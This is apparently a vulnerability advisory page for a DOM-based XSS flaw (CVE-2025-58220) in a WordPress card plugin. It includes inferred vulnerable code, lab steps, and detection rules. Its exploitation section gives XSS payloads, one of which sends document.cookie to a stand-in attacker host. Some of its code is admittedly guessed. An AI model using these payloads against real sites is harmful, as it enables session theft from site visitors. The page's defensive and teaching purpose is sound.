CVE-2025-58220
Executive Summary
CVE-2025-58220 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the Card Elements for WPBakery WordPress plugin, developed by Techeshta. This plugin is designed to extend the WPBakery page builder with card-style elements. The vulnerability exists in versions up to and including 1.0.9, allowing an attacker to inject malicious scripts that execute in the victim's browser within the context of the WordPress site. The attack vector is network-based, requires user interaction (e.g., clicking a crafted link), and has a CVSS v3.1 base score of 6.5 (Medium). No public exploit code or patch is currently available, making this a high-priority issue for defenders.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Since the plugin is unpatched, any site running version 1.0.9 or earlier is at risk. Organizations should treat this as a supply chain risk and consider removing or replacing the plugin until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of WPBakery in WordPress sites elevate the risk. DOM-based XSS can be used for session hijacking, phishing, or defacement.
Deep Dive & Mechanics
The vulnerability is a DOM-Based XSS in the card-elements-for-wpbakery plugin. Unlike reflected or stored XSS, DOM-based XSS occurs entirely on the client side. The plugin’s JavaScript code improperly handles user-controlled input (e.g., from URL fragments, document.referrer, or window.name) and writes it directly into the DOM without sanitization.
Root Cause: The plugin likely uses innerHTML, document.write, or eval() to process data from the location.hash or other DOM sources. For example, a function might read a parameter from the URL fragment and inject it into a card element’s content or style attribute.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/?page_id=123#<img src=x onerror=alert(1)> - Victim clicks the link.
- The plugin’s JavaScript reads the fragment (
#...) and inserts it into the DOM. - The browser executes the injected script (
alert(1)), confirming XSS.
WordPress Ecosystem Context: Since this is a WordPress plugin, the attack surface is amplified by the fact that many WordPress sites use WPBakery. The plugin’s JavaScript is loaded on pages where card elements are present, making any page with a card element a potential target.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable code pattern. The plugin likely contains JavaScript similar to:
// Vulnerable code (card-elements-for-wpbakery <= 1.0.9)
var cardContent = window.location.hash.substring(1);
document.getElementById('card-element').innerHTML = cardContent;
A patched version would sanitize the input before DOM insertion:
// Patched code (hypothetical)
var cardContent = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(cardContent);
document.getElementById('card-element').innerHTML = sanitized;
Or use safe DOM methods:
// Alternative patched code
var cardContent = window.location.hash.substring(1);
var textNode = document.createTextNode(cardContent);
document.getElementById('card-element').appendChild(textNode);
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress with WPBakery and Card Elements for WPBakery v1.0.9.
- Create a page with a card element.
- Craft a malicious URL:
http://localhost/wordpress/?page_id=2#<img src=x onerror=alert(document.cookie)>
Exploitation Steps:
- Send the crafted URL to the victim (e.g., via email or social engineering).
- When the victim clicks the link, the script executes.
- Use a payload to exfiltrate cookies:
#<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>
No public exploit code is available. The above is a conceptual demonstration.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
#<scriptor#<imgpatterns. - Use WAF rules to block requests with suspicious fragment identifiers.
- Deploy Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Remove or disable the plugin until a patch is released.
- If removal is not possible, apply a virtual patch via WAF (e.g., ModSecurity rule to block
#followed by HTML tags). - Educate users not to click suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
#<scriptor#<imgin the URI fragment. - Outbound connections to unknown domains from the victim’s browser (exfiltration).
- HTTP requests containing
- File IOCs:
- Plugin file:
wp-content/plugins/card-elements-for-wpbakery/card-elements-for-wpbakery.php(version <= 1.0.9).
- Plugin file:
- Behavioral IOCs:
- Unexpected JavaScript execution on pages with card elements.
- Unusual
alert()orfetch()calls in the browser console.
Detection Engineering
YARA Rule
rule CVE_2025_58220_DOM_XSS {
meta:
description = "Detects vulnerable Card Elements for WPBakery plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58220"
strings:
$vuln_func1 = "innerHTML" ascii wide nocase
$vuln_func2 = "location.hash" ascii wide nocase
$vuln_func3 = "document.write" ascii wide nocase
$plugin_id = "card-elements-for-wpbakery" ascii wide nocase
condition:
$plugin_id and ($vuln_func1 or $vuln_func2 or $vuln_func3)
}
Sigma Rule
title: CVE-2025-58220 DOM XSS in Card Elements for WPBakery
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of DOM-based XSS in Card Elements for WPBakery plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '#<'
condition: selection
falsepositives:
- Legitimate use of hash fragments with HTML-like content (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-58220 DOM XSS Exploitation Attempt"; flow:to_server,established; content:"#<"; http_uri; pcre:"/#<(script|img|iframe|svg)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable and remove the
card-elements-for-wpbakeryplugin from all WordPress installations. - Virtual Patching: If removal is not possible, deploy a WAF rule to block requests containing
#<followed by HTML tags. - User Education: Warn users about phishing links that may exploit this vulnerability.
- Monitoring: Enable logging for all HTTP requests and monitor for suspicious fragment identifiers.
- Long-Term: Replace the plugin with an alternative that is actively maintained and patched.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.